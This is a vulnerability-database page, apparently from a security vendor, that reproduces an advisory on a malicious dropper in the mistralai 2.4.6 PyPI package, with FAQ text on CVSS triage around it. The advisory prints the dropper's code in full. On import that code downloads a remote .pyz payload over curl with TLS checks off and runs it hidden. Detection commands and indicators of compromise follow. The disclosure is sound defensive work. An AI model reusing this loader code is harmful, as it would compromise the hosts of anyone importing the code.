How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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347,940

Total vulnerabilities in the database

Malicious dropper in mistralai 2.4.6 PyPI package — mistralai

Embedded Malicious Code

The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).

The mistralai PyPI project is currently quarantined.

Affected

mistralai==2.4.6 on PyPI.

Versions 2.4.5 and earlier are not known to be affected.

What the malicious code does

A function named _run_background_task was added to src/mistralai/client/__init__.py and called at module-load time. Reproduced from the public report in #523:

import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith(&quot;linux&quot;) or _os.environ.get(&quot;MISTRAL_INIT&quot;):
        return
    _os.environ[&quot;MISTRAL_INIT&quot;] = &quot;1&quot;
    _url = &quot;https://83.142.209.194/transformers.pyz&quot;
    _dest = &quot;/tmp/transformers.pyz&quot;
    try:
        if not _os.path.exists(_dest):
            _sub.run([&quot;curl&quot;, &quot;-k&quot;, &quot;-L&quot;, &quot;-s&quot;, _url, &quot;-o&quot;, _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()

On Linux only, the function:

Returns early if MISTRAL_INIT is already set in the environment.
Sets MISTRAL_INIT=1 so the spawned child does not re-trigger the dropper if it imports mistralai.
Downloads https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz with curl -k -L -s (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
Spawns transformers.pyz with the current Python interpreter (sys.executable) as a detached process via Popen(..., start_new_session=True), with stdout and stderr discarded and any exception silently swallowed.

On non-Linux platforms the function returns immediately and does nothing.

The trigger is import mistralai, not package installation. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in __init__.py — so pip install, pip download, and pip wheel do not invoke this dropper.

The contents of transformers.pyz are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.

Recommendation

Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).

Check whether you are affected

Installed version:

pip show mistralai | grep -i ^version

Dependency files and lockfiles:

grep -n -E &#039;mistralai\b.*2\.4\.6&#039; \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2&gt;/dev/null

Dropped file on disk:

ls -la /tmp/transformers.pyz

The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL_INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

Remediation

Pin mistralai to 2.4.5 or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. git+https://github.com/mistralai/[email protected].
On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

Indicators of compromise

All IOCs below come from the public report in #523.

File: /tmp/transformers.pyz
Process: a Python interpreter (sys.executable) running /tmp/transformers.pyz detached from the parent's process group, with stdout/stderr to /dev/null
Environment variable: MISTRAL_INIT=1
Outbound HTTPS to 83[.]142[.]209[.]194 from curl (no TLS verification)
Function added to the package: _run_background_task in src/mistralai/client/__init__.py
SHA-256 of the malicious sdist (as reported in #523): 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

References

Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
Quarantined PyPI project: https://pypi.org/project/mistralai/

Published: May 18, 2026
Updated: Jun 5, 2026
GHSA: GHSA-wx9m-wx4f-4cmg
Severity: Critical
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWEs:

CWE-506

Affected Software
References

Software	From	Fixed in
mistralai	2.4.6	2.4.6.x

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.